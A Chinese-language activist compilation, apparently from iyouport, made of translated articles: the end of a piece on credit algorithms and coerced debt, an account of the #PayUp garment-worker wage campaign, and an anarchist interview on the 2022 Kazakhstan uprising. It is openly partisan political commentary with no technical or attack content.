从长远来看，她从刑事法律界寻找灵感。她说，刑事律师已经“走在了前面”，他们作为一个社区组织起来，对决定量刑的风险评估算法进行了反击。她希望看到民事律师做同样的事：创建一个社会运动，让公众对他们所面临的算法的隐藏网络进行更多的监督和监管。”在某些情况下，它可能应该只是被关闭，因为没有办法让算法变得公平”，她说。

至于米里亚姆，在尼克被定罪后，她就永远地离开了。她带着三个孩子搬到了一个新的州，并与一个支持胁迫债务受害人和家庭暴力幸存者的非营利组织建立了联系。通过他们，她参加了一系列课程，学习如何管理自己的财务。该组织帮助她免除了许多胁迫性债务，并更多地了解了信用算法。当她去买车时，在她父亲作为共同签字人的情况下，她的信用分数才勉强达到最低标准。此后，她对汽车和学生债的持续还款，让她的信用分数慢慢得到了补充。

米里亚姆还是要保持警惕。尼克有她的社会安全号码，他们还没有离婚。她不断地担心，他可能会以她的名义开更多的账户，借更多的贷款。有一段时间，她每天都会检查自己的信用报告，以防止欺诈活动。但这些天，她也有了一些期待。她爸爸60多岁了，想退休后搬进来住。他们俩现在正专注于准备买房。“我挺期待的。我的目标是到今年年底，让信用评分达到700分，然后我就应该可以买房了。”

“我从来没有住过自己的房子，从来没有”，她补充道。“父亲和我正在一起努力，为一个永远的家存钱。”〇

The coming war on the hidden algorithms that trap people in poverty

原文

讨薪运动的历史性胜利：制衣工人赢得了数十亿被偷窃的工资 - iyouport

反抗者-寻求经验

富有国家的品牌商利用穷国的便宜劳动力，赚取更多的财富；每年焚烧数十亿美元的多余衣物，工人们却拿不到工资、被减薪和被迫在危险的环境中工作。这种奴役必需停止。

正如我们在昨天的文章中所指出的，冠状病毒大流行本应该可以成为一个变革的契机，这不仅需要左翼党派的切实战略（遗憾的是他们输了），而且需要遭受压迫最严重的底层工人发起有效的运动（幸运的是他们赢了）。

本文将要介绍的就是一场有效的反抗运动 —— 它应该为全世界南方国家遭受剥削和压迫的工人带来鼓舞。

2020年3月，阿曼达·李·麦卡蒂被裁员。

多年来，她一直在时尚行业从事买办和产品研发工作。但随着COVID-19的蔓延和全球各地封锁令的实施，零售商面临着消费者对服装需求的急剧下降。麦卡蒂大半辈子都是家里唯一的经济支柱，她没有稳定的收入，也没有医疗保险。

麦卡蒂并不是全球服装业中唯一一个前途未卜的人。

在千里之外的孟加拉国、斯里兰卡、和柬埔寨等国家，服装厂刚刚收到西方零售商的灾难性消息。为了抵消疫情带来的经济损失，高管们迅速做出了一个几乎是普遍的决定：他们要从最脆弱的工人身上偷取**400**亿美元。

“这不是理论上的钱”，伊丽莎白·L·克莱因（Elizabeth L. Cline）说，她在消费者行动非营利组织“重塑”（Remake）工作，“这是服装工人没有得到的已经完成的工作的报酬，这是奴隶制。”

对许多品牌来说，这种盗窃行为不仅合法，而且在他们与海外工厂签订的合同中也有概述，使他们可以随时取消订单。零售商引用了一个不可抗力条款，声称他们不需要拿走在大流行之前就已经订购的服装 —— 而且他们也不必为此支付费用，即使产品已经在经过数百小时的艰苦劳动后制成了。

这一决定几乎被世界上所有最赚钱的服装公司所执行，其中20家公司控制了行业97%的利润。违规者包括沃尔玛、西尔斯、科尔士百货、耐克、**Forever 21**、**H&M**、**Gap**、阿迪达斯、**The Children's Place** 和罗斯百货。

随之而来的是近代史上最大的一次财富从全球南方向西方的转移。

取消订单的影响是立竿见影的：工厂再也无力支付纺织厂和工人的工资，被迫关门大吉。数以百万计的服装工人，其中大部分是年轻女性，被遣送回家，既没有遣散费，也没有工资。

当富有的时装品牌继续向股东支付报酬时，已经生活在贫困中的工人们却更深地陷入了债务和饥饿之中。柬埔寨仍在工作的制衣工人面临着危险的工作条件、薪水下降和工会被镇压

"为什么在我们有生之年最大的人道主义危机中，公司会如此从容地抢劫他们的工厂？" 克莱因说，"这与受影响的人是在全球南方国家的事实有很大关系。她们是有色人种的女性，公司习惯于能够征服她们而不承担任何后果 —— 这些资本家认为弱势群体的工人们不会站出来反抗。"

这些公司错了。几天后，一场由非政府组织和全球数千名服装工人、基层组织者和消费者组成的运动诞生了。他们以自己的首要诉求来命名他们的第一个反抗运动：PayUp。

到2021年3月，**PayUp** 已经从最初拒绝付款的品牌那里获得了220亿美元，并将全球供应链中的基本剥削全面曝光。这是现代时尚行业最成功的劳工权益运动之一 —— 而活动家们说他们才刚刚开始。

"这是一个行业，是每个人生活的一部分，但没有人真正知道在幕后发生了什么"，麦卡蒂说，她在被解雇后成为这场运动的积极倡导者。"如果一个品牌拒绝付款，很可能他们首先支付的是奴隶工资，而不是关心气候，每年焚烧数十亿美元的多余衣物。退一步讲，时尚行业真的是一个案例研究，说明现在世界上发生的一切问题。"

对品牌进行问责

「图」

从成立之初，PayUp运动的战略就是辨别哪些品牌是可撼动的，然后利用草根阶层的压力来锁定这些品牌。

“我们知道，如果我们只是等待时尚品牌找到良心，那什么都不会改变”，运动的创始人之一克莱因说。“我们有一份公司的名单，以及他们所欠的金额，但我们需要一个更大的画面来了解发生了什么。”

正因为如此，服装工人自己的证词对 PayUp 运动的成功至关重要。2020年11月，工人权利联合会发布了一项对柬埔寨、孟加拉、萨尔瓦多、埃塞俄比亚、海地、印度尼西亚、莱索托和缅甸等地失去工作的服装工人的调查。这些工人中近**75%**的人报告说，自疫情开始以来，他们为购买食物而负债。许多人描述说，他们为了养活家人而不吃东西，买不起含蛋白质的食物，而且由于没钱交学费，他们的孩子不得不退学。

仍有工作的服装工人，其中许多人加班加点为西方国家生产个人防护设备，但同样陷入贫困。即使世界上最赚钱的时尚品牌在过去一年中价值增长了11%，服装工人却经历了平均约21%的减薪。孟加拉国一家服装厂的制衣工人，在COVID-19大流行开始之前，那里的许多工人仍未得到应得的工作报酬

“当你在这个行业工作时，你知道有一些人没有得到报酬，但你会主动把他们理解为‘其他人’”，McCarty 说，“它允许你说，‘哦，他们生活的地方事情是不同的’，或‘这些人不是熟练工’等等。所有这些种族主义的、阶级主义的和殖民主义的思考方式都如此普遍地存在于每个人身上。”

到2020年夏天，#PayUp 已经在社交媒体上被分享了数百万次。Change.org 的一份请愿书直接发给了200多位时尚业高管，获得了近30万个签名，呼吁企业为工人付费。在幕后，Remake、工人权利联盟和清洁衣服运动等非政府组织和活动团体协同行动，与品牌商进行谈判。

这种压力与世界各地工人的直接行动相结合。由于工厂停工导致服装行业成千上万的工人失业，缅甸工人举行了大罢工，最终通过两周的静坐获得了工资奖金和工会的认可。在柬埔寨，大约有100名工人在工厂停工后向劳动部递交请愿书，要求赔偿。当他们没有得到解决

时，抗议者继续向首相府进发，在那里他们被近50名警察阻拦。

在工厂削减通常允许农村工人回家过节的节日奖金后，巴基斯坦也发生了类似的反抗行动。罢工工人聚集在工厂外抗议，高呼口号要求提高工资，甚至警察向人群开枪。在孟加拉国，在工厂外举行抗议活动的服装工人也遭到了镇压，许多工人报告说，他们在睡觉时遭到警察用警棍、水炮和催泪瓦斯的袭击。

- 如果您错过了《如果治疗枪伤》
- 《如何抵制枪击》
- 《如何对付警棍》
- 《如何对付催泪瓦斯和橡皮子弹》
- 《了解所有镇压武器和防御方法》

截至目前，PayUp监测到的21个品牌已经承诺全额支付被取消的订单，共为全球工厂和服装工人收回了220亿美元。但仍有18个品牌拒绝支付—— 许多品牌在其社交媒体账户上删除了#PayUp的评论，试图关闭对话。

日益加深的危机

「图」

尽管迄今为止 PayUp 运动取得了巨大的胜利，但在过去的几个月里，行业内的趋势令人担忧，围绕服装工人的危机继续恶化。PayUp 从品牌商那里获得的绝大部分资金都流向了工厂，使他们能够偿还对纺织厂的债务，并继续营业。虽然这有可能避免更多灾难性的工厂倒闭和大规模裁员，但大多数工人仍然没有收到被盗的工资 —— 围绕服装业的危机继续加深。

“在整个大流行期间，我看到零售商为了降低成本而压榨工厂，并迫使他们加快周转速度”，McCarty 说，“甚至更多的产品正在通过飞机而不是船只进口到我们的国家，所以碳足迹更加严重—— 海外人员的工资更低。我们现在必须结束这个循环。”

PayUp 成立一年后，正在为生存而挣扎的服装工人们还没有看到品牌商的任何经济救济。还有安全问题，在斯里兰卡，超过7000例冠状病毒病例，超过全国总感染数的一半，被追溯到一家为 “维多利亚的秘密” 生产服装的工厂。

在许多服装生产国，要求采取安全措施的服装工人遭到残酷的镇压，

工人们因大声说话或试图组织起来而面临威胁、人身攻击、解雇和监禁。最近的一个镇压例子发生在3月，据称为 Primark 生产服装的近1000名服装工人被锁在工厂内数小时，以防止他们参加缅甸的反政变抗议活动。

“品牌商的劳工守则和监控系统并不是为了保护工人而存在的，它们的存在是为了保护品牌商的形象和声誉 ..... 即使它们在价格上压榨供应商，使工作条件和工资下降”，工人权利联合会负责人斯科特·诺瓦说，自品牌商取消订单以来，孟加拉国的制衣工人抗议大规模裁员和短期合同

也许从孟加拉国的服装厂可以看到自我管制失败的最有力的例证。几十年来，这些工厂因其不过是死亡陷阱而臭名昭著。尽管经常发生大规模死亡的火灾和工厂倒闭，但大品牌和零售商继续吹嘘他们的自愿行为守则是保护工人的可靠方法。直到2013年热那大厦工厂倒塌 —— 这场灾难造成1134人死亡，另外2500人受伤—— 之后，有意义的保护措施才得以落实。

即使救援人员仍在废墟中寻找幸存者，数千名服装工人和死者亲属也奋起反抗，冲上达卡街头，要求提供更安全的工作条件。

一个月内，《孟加拉国火灾和建筑安全协议》出台，要求进行独立的建筑安全检查和安全标准审查。该协议是非政府组织、西方制造商和孟加拉国及全球工会之间的国际契约。自该计划开始以来，已有250万服装工人在大大改善了安全的条件下工作—— Nova认为该协议可以作为实现 PayUp 运动长期目标的路线图。

“我们需要品牌商做出可执行的合同承诺，我们需要品牌商和工会坐在桌子对面进行真正的谈判”，Nova 说，“如果我们希望品牌商负责任地行事，我们需要以书面形式来实现。”

去年秋天，PayUp 的创始人 Ayesha Barenblat 与代表孟加拉国和斯里兰卡60万服装工人的非政府组织 Awaj 基金会的创始人坐在一起。他们一起启动了 PayUp Fashion 的网站，在网站上，他们概述了未来行动的七项要求：工人的安全、透明度、给工人一个平台、可执行的合同、结束饥饿工资和执行劳动法。

“除了少数富有的工厂主、高管和股东外，这是一个没有多少人受益的行业”，克莱因说。“我认为品牌商们希望在支付了费用后能拍拍屁股走人，但对我们来说，这次抗议活动揭示了时尚行业的一切破绽。”

抵制恢复原状

「图」

大约在 PayUp 成立的同时，麦卡蒂利用她的内部人士经验，创办了 Clotheshorse，一个揭露快时尚世界黑暗真相的播客。这是一个新篇章的开始 —— 也是一个不经意的决定，无论经济后果如何，她都不会再回到这个行业。

“出身于下层阶级的背景，知道幕后发生了什么，而且还要继续走下去，这很有挑战性”，inadvertent说。“长期以来，我觉得自己就像一只在轮子里奔跑的仓鼠，去做这种有毒的、虐待性的工作，我很讨厌。现在我可以说出真相了。”

在60多集的节目中，《Clotheshorse》探讨了劳工权利、漂绿、消费主义和 PayUp 运动等问题。麦卡蒂经常介绍零售业工人的故事，他们可以通过热线电话讲述常见的做法，如保密协议、工资盗窃和要求销毁未售出的商品等。

【注：漂绿，指一家公司、政府或是组织以某些行为或行动宣示自身对环境保护的付出但实际上却是反其道而行。这个词最初在1990年代初期开始使用，在1991年3月和4月间《Mother Jones》杂志中作为文章标题出现。环保人士经常用 “漂绿” 来形容长久以来一直是最大污染者的能源公司。】

不久之后，麦卡蒂每天都会收到来自时尚爱好者和活动家的多达100条信息。虽然疫情使他们无法见面，但 Clotheshorse 的听众们开始在网上聚集在一起，为彼此的反抗提供支持。

“去年很多人发现自己的生活完全颠覆了，我们都受到了以前没有的教育”，麦卡蒂说。“令人惊讶的是，我们都能够找到彼此，并对彼此的想法做出回应”。

随着 PayUp 运动进入动员的第二年，这种社区建设可能被证明是确保运动不会失去动力的关键。

“PayUp 能够揭示这种权力动态的内部运作，这是在很长一段时间内都被隐藏起来的东西”，克莱因说。“这使得提出改革变得更加容易，但每个人都必须做好长期斗争的准备。我们希望看到的时尚行业将需要承诺和毅力，以及相信一切皆有可能。” ○

Garment workers win historic victory in effort to transform the fashion industry

原文

这不是"他们的"战斗，而是"我们的"：哈萨克斯坦起义 - 不是抗议者，而是革命者 - iyouport

反抗者-寻求经验

关于这场起义的采访和评估。请打开您的视野，请让自己的角色摆脱 "旁观者" 的身份，方可领略其中的意义。

选举只是假象，就连一些抗议，也是表演。

这场起义对中国的异议人士和反抗者来说非常重要，因为，我们所有人面临的是同样的状况，不论是长期的社会政治局面，还是短期迅速增长的迫在眉睫的灾难。也是为什么此前IYP连续发布了多篇分析中国经济情势的文章。

请打开您的视野，请让自己的角色摆脱 “旁观者” 的身份，方可领略其中的意义。

📌 非常建议您点开其中嵌入的链接，查看相关具体内容，以帮助您深入理解制作本文的用意。

哈萨克斯坦爆发了一场全面的起义，以应对生活成本的上升和独裁政府的暴力。

示威者占领了该国许多地方的政府大楼，特别是在人口最多的城市阿拉木图，抗议者暂时占领了机场，并放火烧了议会大厦。

在发表这篇文章时，负责镇压的警察已经夺回了阿拉木图市中心，在此过程中至少杀死了几十名抗议者，而来自俄罗斯和白俄罗斯的军队也赶来与他们一起镇压抗议活动。

以下的报道介绍了对一位哈萨克侨民的采访，他探讨了促使哈萨克斯坦人民起义的原因，并探讨了这次起义对整个地区的影响。

“现在在哈萨克斯坦发生的事情是前所未有的。

我们应该在全球背景下理解哈萨克斯坦的起义。它不仅仅是对一个独裁政权的反应。

哈萨克斯坦的抗议者是对多年来全世界人民一直在抗议的生活成本上涨这一基本的严重问题作出的反应。

哈萨克斯坦并不是第一个因天然气成本增加而引发抗议浪潮的地方——在法国、厄瓜多尔和世界其他地方，在各种各样的政府和政权环境形式下，都发生过同样的抗议事件。

换句话说，哈萨克斯坦这场特殊的起义的意义并不在于它是前所未有的，而是，在于它涉及到那里的人们如何面对我们所有人所面临的同样挑战，无论我们生活在哪里。

俄罗斯正在采取行动协助镇压这场起义所带来的紧迫性也至关重要。集体安全条约组织（CSTO）是一个由俄罗斯、亚美尼亚、白俄罗斯、哈萨克斯坦、吉尔吉斯斯坦和塔吉克斯坦组成的军事联盟 ——由俄罗斯发号施令—— 已经承诺向哈萨克斯坦派遣部队。这是集体安全条约组织*首次*部署部队支持一个成员国；请注意，就在2021年，在亚美尼亚与阿塞拜疆的冲突中，该组织曾经拒绝援助亚美尼亚。

具有启发性的是，亚美尼亚和阿塞拜疆之间的*战争*不需要集体安全条约组织的干预，但一个*强大的抗议运动*却需要。

与其他帝国项目一样，俄罗斯势力范围（“俄罗斯圈”）的主要威胁不是战争，而是革命。

俄罗斯从叙利亚的内战和土耳其对罗贾瓦的入侵中获益匪浅，通过将叙利亚和土耳其对立起来，在该地区获得立足点。弗拉基米尔·普京在俄罗斯掌握权力的方式之一，就是召集俄罗斯爱国者支持他在车臣和乌克兰的战争。

战争 —— 持续的战争 —— 是俄罗斯帝国计划的一部分，就像战争为美国在伊拉克和阿富汗的帝国计划服务一样。“战争是国家的健康”：正如兰道夫·伯恩（Randolph Silliman Bourne）所说。

另一方面，起义必须通过任何必要的手段进行镇压。如果“俄罗斯圈”内数百万在贪污腐败和新自由主义的双重夹击下苦苦挣扎的人们看到这些国家中任何一个国家的起义成功，他们就会赶紧效仿。看看2020年白俄罗斯和一年前俄罗斯的抗议浪潮，我们可以看到，即使没有成

功的希望，许多人也倾向于这样去做，殊死一搏。

在资本主义民主国家，选举可以把一帮自以为是的政客换成另一帮，选择的幻觉本身就可以分散人们的注意力，使人们不会采取行动带来真正的改变。而在俄罗斯、白俄罗斯和哈萨克斯坦这样的独裁政权中，没有这样的幻想；统治秩序仅仅是由绝望和蛮力强加的。在这种情况下，任何人都可以看到，革命是唯一的出路。事实上，这三个国家的统治者都把他们的权力归功于1989年开始的革命浪潮，那场革命导致了东欧集团的垮台。我们很难责怪他们的臣民怀疑革命是否能改变他们的处境。

革命 —— 但为了什么目的？我们不能赞同自由派的乐观态度，他们认为哈萨克斯坦的社会变革会像赶走专制者和举行选举一样简单。远没那么简单。如果没有彻底的经济和社会变革，任何单纯的政治变革都会使大多数人继续受制于今天正在使他们陷入困境的新自由主义资本主义。恶性循环。

在任何情况下，普京都不会轻易放弃。真正的社会变革—— 在俄罗斯圈和西方一样 —— 将需要一场持久的斗争。推翻政府是必要的，但这还远远不够：为了抵御未来的政治和经济强加，普通人将不得不在横向、分散的基础上发展集体力量。这不是一天或一年的工作，而是一代人的工作。

无政府主义者对这一进程的贡献是，我们在反对压迫者的斗争过程中形成的同样的结构和做法也应有助于我们创造一个更好的世界。

无政府主义者已经在白俄罗斯的起义中发挥了重要作用，显示了横向网络和直接行动的价值。自由主义的梦想，即以美国和西欧的形象重塑整个世界，已经证明是空洞的 —— 美国和西欧与实现这一梦想的努力失败的许多原因有牵连。无政府主义的梦想还有待尝试。

针对哈萨克斯坦的事件，一些所谓的“反帝国主义者”再次鹦鹉学舌，认为对任何与普京的俄罗斯结盟的政权的反对，都只能是“西方干预”的结果。当俄罗斯势力范围内的国家在很大程度上放弃了任何社会主义的幌子，将自己交给了引发哈萨克斯坦起义的那种新自由主义政策时，这种说法就显得尤为恶劣。

在全球化的资本主义经济中，我们所有人都受到同样的暴利和不稳定的影响，我们不应该让那些彼此敌对的世界大国把我们这些公民玩弄于股掌之间。我们应该看穿整个这套把戏。让我们在各大洲建立共同的事业，交流策略、灵感和团结，以重塑我们的生活。

本周起义的哈萨克斯坦普通民众展示了我们可以走多远—— 以及我们*必须一起*走多远。

（俄罗斯军队前往哈萨克斯坦的视频）

图片背景为哈萨克斯坦军队的部署，以追赶街头的抗议者。

这场起义的背景

「图」

1月6日（东哈萨克斯坦时间）早些时候，在网络中断导致无法完成对阿拉木图抗议运动参与者的采访后，继而对一位居住在国外的哈萨克斯坦无政府主义倡导者进行了以下采访。

Q：就背景而言，在*21*世纪，哈萨克斯坦有哪些无政府主义、女权主义和生态项目或运动？

A：早期，人们反对第一位前共产主义总统努尔苏丹·纳扎尔巴耶夫（Нурсултан Абишевич Назарбаев），他是最终在后苏维埃时代领导哈萨克斯坦的人。从1990年代中期开始，他开始变得更加独裁，改变治理结构以获得更强的总统权力。这为纳扎尔巴耶夫赢得了政治精英中各政治派别的反对者。令人惊讶的是，共产党人、社会民主党人、中间派和亲商人士合作，呼吁制定一部更加民主的宪法，以限制总统权力。

至于下面的运动，有无政府主义者，他们更像是一个地下运动，还有一个社会主义运动，其领导人最后逃离了哈萨克斯坦。也有民族主义者和激进的伊斯兰教徒，但同样，他们并不那么受欢迎，他们也是地下运动。

至于环保主义者，如果他们确实有一些公众关注的话，那也主要是来自倡导团体。在哈萨克斯坦，只有大约六个注册的政党被允许参加选举；其余的都被拒绝。然而，有很多倡导团体。

自**2000**年代以来，政府从未允许任何实际的反对派参加选举。候选人有着不同的面孔，但想法都是一样的，以使它看起来像一个“竞争”的政治环境，其中一个强人不断地赢得所有时间，类似于俄罗斯、白俄罗斯和其他独裁的后苏联国家的情况。简单说，选举只是假象。

Q：哈萨克斯坦有反对党吗？

A：关于反对党，在哈萨克斯坦基本上没有。早在20世纪90年代和21世纪，曾经有这样的政党，但他们都被政府封杀或禁止了。今天，有一些人声称代表反对派，但他们只是住在国外，如乌克兰。他们与街头没有任何真正的联系。

【注：这点非常类似中国。】

这些身居海外的异议，其内部也存在着某种竞争关系。我看到他们所有人都互相指责对方与政府合作（抓特务）。他们试图引诱不满的公民做一些实际上不会对政府构成任何威胁的事，这些事会给人一种做出改变的*错觉*，比如告诉人们与地方官员进行和平对话，或者通过故意破坏选票来参与选举，以此来 “抗议” 选举 —— 等等，他们建议的都是些旨在给人一种与政府斗争的*错觉*的策略，而实际上这只是在浪费时间。

近年来，这种表演型的反对派实际上也开始在国内出现；不知从哪里冒出来的随机活动家组成政治运动，举行纠察队，这些人没有经历任何形式的迫害，而普通人只要稍微抗议就会被警察立即拘留。【不仅选票是假的，连抗议也是表演。】

这类表演型的异议是受控制的 “反对派”。

一个不寻常的反对派团体—— 我无法判断它是否是受控制的反对派 —— 叫做 “哈萨克斯坦民主选择”。它由一个住在法国的商人领导，名叫穆赫塔尔·阿布利亚佐夫 (Mukhtar Ablyazov)。如果你搜索他的名字，你会看到有关所谓洗钱案件和诉讼的文章。他在20世纪90年代曾是一名部长（“体制内健康力量”）；当他加入反对派时，他最终被哈萨克政府监禁。后来他被释放了，但最终逃离了哈萨克斯坦，过上了流亡生活。从那时起，他领导的政治反对派在社交媒体上得到了最多的支持。大多数与他的运动有关的人都受到了迫害和逮捕；这种情况自2017年以来一直在发生。他从国外指挥的每一次抗议活动都受到了镇压，公共区域有大量的警察驻守。曾经出现过全国范围内互联网被关闭的情况。

无论如何，现在在哈萨克斯坦发生的事是完全出乎意料的。

Q：在这些事件发生之前，哈萨克斯坦内部存在哪些紧张关系？哈萨克斯坦社会中的断层是什么？

A：真正引发民众的是发生在扎瑙津镇的事件。这个镇生产石油利润，但那里的人是全国最贫穷的人口之一。该镇因2011年的血腥事件

而闻名，当时发生了劳工罢工，政府命令警察向人们开枪。

那场悲剧一直留在人们的脑海中，特别是在该镇的居民中，从那时起，那里的石油行业发生了更多的小规模罢工—— 尽管这些罢工是和平的，没有导致流血事件。

自2019年以来，罢工和抗议活动在那里变得更加普遍。同时，由于经济因素，人们在全国范围内更加积极地参与政治，因为全世界的石油价格暴跌，对哈萨克斯坦的经济产生了影响。随着哈萨克斯坦货币坚戈变得更加疲软，人们能够负担的东西越来越少。

哈萨克斯坦还存在着严重的问题：村庄缺乏干净的水、环境污染严重、人们生活在债务中，在一个任何反对意见都可以轻易被封杀的系统中，存在着严重的腐败和裙带关系。大多数人继续生活在这些条件下，而经济却为与政府官员和其他知名人士有联系的哈萨克亿万富翁商人服务。

在21世纪初，由于天然气储备，哈萨克斯坦的经济增长，人们看到了一丝希望；因此，许多人的生活水平有所提高。但这一切在2014年发生了巨大变化，当时全球油价下跌，乌克兰战争导致了对俄罗斯的制裁—— 这对哈萨克斯坦产生了影响，因为它依赖俄罗斯。

2014年至2016年有一些小规模的抗议活动，但它们都被轻易镇压了。在2018年至2019年，抗议活动增长更多，部分归功于上述那位身居海外的反对派商人穆赫塔尔·阿布利亚佐夫，他利用社交媒体来获得牵引力。政治抗议和活动是在哈萨克斯坦民主选择党（Qazaqstannyń Demokratıalyq Tandaýy，QDT）的旗帜下组织的。

2020年后，当 COVID-19 大流行病袭来时，情况变得更糟。人们失去了工作；一些人没有办法支付基本生活用品，从政府那里得到的支持非常之少，而防疫限制使人们更加沮丧，对政府不再信任。然后，商品价格上涨，特别是食品价格上涨—— 这在全世界都发生过，但对哈萨克斯坦来说，它的影响相当大，灾难性的。

回到有血腥历史的扎瑙津镇，燃气的价格暴涨，而这个地方正是实际生产燃料的地方。在过去的十年里，这一成本一直在稳步增长，但当政府停止补贴，而让市场来决定时，价格终于增长了更多。

在那个城市已经有关于这个问题的小规模抗议，但是在2022年1月1日，用于驱动车辆的液化气的价格意外地翻了一番。这激怒了人们。

人们在广场上进行了大规模的抗议。执法部门似乎对驱散抗议活动犹豫不决。该省的其他村庄也起来了，开始封锁道路以示抗议。然后，在几天内，抗议活动扩展到了全国。

起初是对燃料价格上涨的抗议，后来主要是因为我之前提到的其他问题。这些问题促使人们更多地出去罢工和上街。

Q：请描述下这场斗争中双方不同团体的不同议程。示威活动中是否存在可识别的行动主义派系或趋势？

A：起初，政府无视燃气价格问题，试图让人们习惯于这种高价位，甚至指责消费者的高需求。最后，他们降低了价格，但这并没有阻止抗议活动。然后，国家基本上否认他们参与了让燃气价格上涨的活动，但随着抗议活动的加剧，政府开始做出更多让步，试图让人们平静下来。例如，他们承诺推出一些政策，为人们提供经济援助，而此前他们已经忽视了这些援助政策很多年。

但抗议活动仍未停止。已经很少有人信任或支持政府。示威的人们只是想要更好的生活，就像他们想象中的欧洲发达国家的人们那样生活。当然，不同的人有不同的要求—— 有些人要求整个政府辞职，而另一些人则希望有一个新的民主政府形式，特别是没有行政总统的议会形式，还有一些人希望有更多的工作和工业以及更好的社会条件。

一些最激烈的起义和抢劫发生在老苏维埃首都阿拉木图，那里是哈萨克斯坦的金融大都市。人们正在抢劫商店，放火烧东西。他们控制了当地政府大楼，并放火焚烧。

是政府促成了这种局面，因为他们没有满足辞职和组建新的民主政治制度的要求。

哈萨克斯坦现任总统是前总统和第一任总统纳扎尔巴耶夫的亲密盟友，他拒绝移交权力，这让火上浇油。他坚持的时间越长，暴力事件就会越多，因为政府和抗议者都无法做出妥协。

阿拉木图已经出现了无统治的情况；似乎没有人知道现在谁在负责那里，因为市长的办公室被烧毁，市长自己也从公众视野中消失了。整个城市都被武装的抗议者堵住了。

从理论上讲，该市处于宵禁状态，但实际上，执法部门根本不存在，或已经加入了抗议活动 —— 所以从我听到的情况来看，该市就像一

个公社 [即巴黎公社]。在这一点上，考虑到事件的发展情况，我不会把那里的人称为抗议者，而是要称之为革命者—— 尤其是看到那里的武装平民。哈萨克斯坦一家被抢劫一空的商店。

Q：请介绍一下过去一周的事件表。

A：抗议活动于1月2日在产油镇扎瑙津开始。到第二天早上，哈萨克斯坦西部的其他城市和村庄也开始抗议，以示声援。

最大规模的抗议活动发生在夜间，因为起义蔓延到其他城市，包括阿拉木图。1月4日深夜，阿拉木图的人们游行到市政厅前的主要广场。庞大的警察镇压部队驻扎在那里。冲突爆发了，但抗议者占了上风。

抗议者在1月5日清晨被驱散，但在大雾弥漫的早上9点左右又重新集结起来。一些警察甚至改变了立场，加入了抗议活动。最终，抗议者在上午10点左右再次游行到广场，并设法冲入市政厅，放火烧了大楼。政府维稳官员逃离了阿拉木图，让城市处于抗议者的控制之下。

此后，总统似乎又派出了一些军队去那里，以试图控制局面。我不知道事情是如何发展的，但我听说在1月5日晚上或1月6日清晨，人们开始抢劫和偷窃武器，据说还有枪声。

在其他城市，情况比较和平，在广场上有大规模的抗议活动。我认为，抗议者已经占领了其他几个主要城市的地方政府大楼，但据我所知，与阿拉木图相比，这些城市没有那么混乱。

在首都努尔苏丹，这里很平静，但人们看到大量防暴警察包围了总统府。基本上，整个总统府都被封锁了。

简而言之，整个哈萨克斯坦现在就像《饥饿游戏》。如果你看过《饥饿游戏》三部曲，或者你知道剧情的基本概要，你就知道我在说什么—— 人们正在一个接一个地控制各个城市；同样，总统也不想离开，不想让反对派改革制度。因此，如果变革不发生，我预计会出现更多的混乱，直到政府被推翻或抗议被残酷镇压。

Q：你认为这些抗议活动的参与者对于在法国、厄瓜多尔和世界其他地方爆发的应对燃料价格上涨的抗议运动是否有任何参考点？他们所使用的战术是什么？

A：我认为他们中的很多人受到了其他后苏联国家（如白俄罗斯和吉尔吉斯斯坦）所发生的抗议活动的影响。

在阿拉木图，居民们似乎借鉴了邻国吉尔吉斯斯坦的例子，那里的人们也冲进了政府，烧毁了建筑物—— 但与吉尔吉斯斯坦相比，那里政府被推翻得更快。迄今为止，吉尔吉斯斯坦已经经历了三次革命；考虑到它与哈萨克斯坦的距离和文化联系，因为两国都讲突厥语，我认为它的例子在哈萨克斯坦起到了重要作用。

Q：接下来最可能会发生什么？

A：从我的角度来看，我可以想象到几种情况。要么政府辞职，或者被推翻，哈萨克斯坦开始走上民主化的道路；要么，政府以巨大的武力镇压起义，包括让其他国家参与进来。

哈萨克斯坦总统卡西姆·若马尔特·托卡耶夫正在请求集安组织（集体安全条约组织，由俄罗斯、亚美尼亚、白俄罗斯、哈萨克斯坦、吉尔吉斯斯坦和塔吉克斯坦组成的军事联盟）派遣 “维和” 士兵。简而言之，总统正在邀请外国军队进入哈萨克斯坦镇压抗议活动。要么武装的抗议者以某种方式击退这些部队，政府倒台，要么，革命者放弃并被击溃。

哈萨克斯坦面临着一个黑暗的未来。这是一场不自由毋宁死的战争，而失败将意味着可能失去更多的自由，甚至可能失去主权。

Q：哈萨克斯坦以外的人可以做些什么来支持你或其他参与斗争的人？

A：哈萨克斯坦以外的人支持的唯一现实方式是让人们更多地关注这些事件，也许组织一些援助。强人努尔苏丹·纳扎尔巴耶夫 (Nursultan Nazarbayev) 的雕像倒塌后的碎片。

总结：来自俄罗斯的观点

「图」

在以下文字中，一位俄罗斯无政府主义者思考了哈萨克斯坦的起义对该地区的影响。

在经历了几十年的镇压、失败之后，为什么希望依旧会一次又一次地升起，就像我们在白俄罗斯、俄罗斯、吉尔吉斯斯坦以及现在在哈萨克斯坦看到的那样？为什么在我们的亲戚、朋友和邻居倒下、被警察或军队枪杀之后，人们还在继续挣扎？为什么我们仍然有这些机会来体验变化和兴奋的风浪，让我们尝到我们的生活可能会改变的一切？

你可以从哈萨克音乐家 Ermen Anti 的歌词中感受到一些答案，他来自一个名为 Adaptation 的乐队：

“无论他们如何射击，子弹都是不够的。 无论他们如何碾压，尽管如此， 公平的愤怒继续萌芽； 普罗米修斯的孩子们，把火种带给冰冷的人们”。

当我们审视过去几十年在哈萨克斯坦、白俄罗斯、俄罗斯和吉尔吉斯斯坦发生的事件时，我们需要问，在国际层面上，为解放而斗争的倡议和运动之间的合作可以达到什么目的？这种联系可以使我们交流政治和文化经验，加强这些国家的人民应该共享的共同事业。然而，与这些国家的经济和政治现实的相互联系和相互依存程度相比，无政府主义运动是脱节的。

哈萨克斯坦可以成为俄罗斯、白俄罗斯和世界这一地区其他国家明天可能发生的事情的一个参照案例。今天，俄罗斯的人们一想到要表达任何形式的异议就会担心自己的生命。但是明天，我们可以在俄罗斯、白俄罗斯（再一次！）和其他国家的城市中看到扎瑙津和阿拉木图的影子。我们可以忘记“这里不可能发生抗议”的虚无主义论调——什么能发生，什么不能发生，首先取决于我们能够想象和渴望什么。

当情况像我们今天在哈萨克斯坦看到的那样展开时，我们可以看到在我们的社会中与其他人联系起来是多么重要。

